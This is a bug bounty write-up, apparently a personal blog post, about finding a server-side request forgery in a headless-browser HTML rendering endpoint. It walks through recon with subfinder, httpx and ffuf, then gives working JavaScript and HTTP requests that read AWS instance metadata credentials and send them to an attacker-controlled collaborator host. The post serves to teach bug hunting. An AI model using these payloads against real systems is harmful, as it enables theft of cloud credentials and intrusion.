I found a Server-Side Request Forgery in March 2022 (well, more than one luckily)!
But let's talk about the coolest one. So you can learn.
I don't like talking about bounty amounts. (It's ok if you do, we all get excited)
Instead, I'll show you how I found it:
The scope of this program was *.███.com (Sorry, I can't disclose it!)
With a wildcard, basic recon is: Subdomain Enumeration + HTTP server probing:
$ subfinder -d ███.com | httpx -o example.httpx
httpx gave me 300 results.
One stuck out to me: https://rendering-prd.redacted.com
"rendering" stuck out to me. Why?
Render means to "process information".
Often to another format. With web apps, it's typically HTML to another format.
Next, I issued an HTTP request to the host:
$ curl -sk https://rendering-prd.redacted.com
< --- snip ---
< <pre>Cannot GET /</pre>
NodeJS/Express!
If you see this, it's NodeJS.
Or, if you see the header => Server: Express
Well, what do we know about NodeJS web apps?
Look at the following code:
const express = require('express')
const app = express()
const port = 80
app.get('/one', (req, res) => {
res.send('Hello GET /one')
})
app.post('/two', (req, res) => {
res.send('Hello POST /two')
})
app.listen(port)
Routes are defined explicitly.
In this example: You must:
-
GET /one
to get a response. POST /two
to get a response.
So, it's necessary to brute-force with API routes and dictionary words.
Look up @assetnote's research on Contextual Content Discovery.
Also, you must brute-force with different HTTP methods. I use ffuf for directory/endpoint brute-forcing.
By default, ffuf uses the GET method.
So, I started with that and filtered by the number of response words on the 404 page:
$ ffuf -u https://rendering-prd.redacted.com/FUZZ -w english-words.txt -mc all -fw 6
This resulted in nothing. Cool.
So I brute-forced with the POST method:
$ ffuf -X POST -u https://rendering-prd.redacted.com/FUZZ -w english-words.txt -mc all -fw 6
render [Status: 400, Size: 17, Words: 3, Lines: 1]
It discovered the endpoint /render
which accepts a POST request.
It responded with "400 Bad Request". This means we (the client) made a bad HTTP request.
So what are we missing? Typically headers & parameters.
Start with the error message! I copied the URL.
Went to Burp Repeater:
- Right Click => "Paste URL as Request" - Changed GET to POST.
- Issued the HTTP request.
The error message said:
"markup is invalid"
So, I added markup=aaaa
in the POST body:
A different error message!
"render failure"
What is it expecting to render? I thought Markdown. So, I put the following Markdown in the markup=
parameter: # header
POST /render HTTP/1.1
Host: rendering-prd.redacted.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0
Connection: close
Content-Type: application/x-www-form-urlencoded
markup=#+header
Response: "render failure"
Hm. Not that. Maybe HTML?
I gave it HTML instead: <h1>test</h1>
Response:HTTP/1.1 200 OK
We're in business! But what is rendering our HTML? Probably a headless browser! Let's see if it will execute javascript. Hopefully!
I gave it the following HTML: <script src=hxxp://BURP_COLLAB/test.js></script>
Success. I got requested at /test.js
with the User-Agent: Chrome/75.x.xx
Running "whois" on the requesting IP address showed it was from AWS.
AWS has a meta-data server at 169.254.169.254
. It can be used to generate temporary access keys to an AWS environment!
I hoped the browser didn't enforce the Same-Origin Policy.
The idea is to send 2 XMLHttpRequests.
- To the meta-data server. (to grab the IAM role name)
- To our server, to exfiltrate the data from step 1. This violates the Same-Origin Policy.
But often, headless browsers don't care.
So, I wrote the following javascript:
x = new XMLHttpRequest;
x.onload = function() {
l = new XMLHttpRequest;
l.open("GET", "http://BURP_COLLAB/" + encodeURIComponent(this.responseText));
l.send();
};
x.open("GET", "http://169.254.169.254/latest/meta-data/iam/security-credentials/");
x.send();
And made the headless browser run it:
POST /render HTTP/1.1
Host: rendering-prd.redacted.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0
Connection: close
Content-Type: application/x-www-form-urlencoded
markup=<script+src="https://myserver/pwn.js"></script>
The server responded: 200 OK
I checked Burp Collaborator and it worked! My server had a request to /main-production-worker-iam-role
.
Let's grab those keys! I had to edit the javascript to include the role name in our request to the metadata server:
x = new XMLHttpRequest;
x.onload = function() {
l = new XMLHttpRequest;
l.open("GET", "http://BURP_COLLAB/" + encodeURIComponent(this.responseText));
l.send();
};
x.open("GET", "http://169.254.169.254/latest/meta-data/iam/security-credentials/main-production-worker-iam-role");
x.send();
One last final HTTP request:
POST /render HTTP/1.1
Host: rendering-prd.redacted.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0
Connection: close
Content-Type: application/x-www-form-urlencoded
markup=<script+src="https://myserver/pwn.js"></script>
The browser sent the AWS Keys to me!
Finally, I verified they worked:
$ export AWS_ACCESS_KEY_ID=
$ export AWS_SECRET_ACCESS_KEY=
$ export AWS_SESSION_TOKEN=
$ aws sts get-caller-identity
The keys worked. And Scout2 proved it was impactful!
Here are some lessons from this story:
- Context is King. THINK!
- To break you must first understand:
- Know your target's technologies & the services they use.
- Learn to code.
If you enjoyed this story, follow me on Twitter and sign-up for my newsletter for more!
See you around,
Corben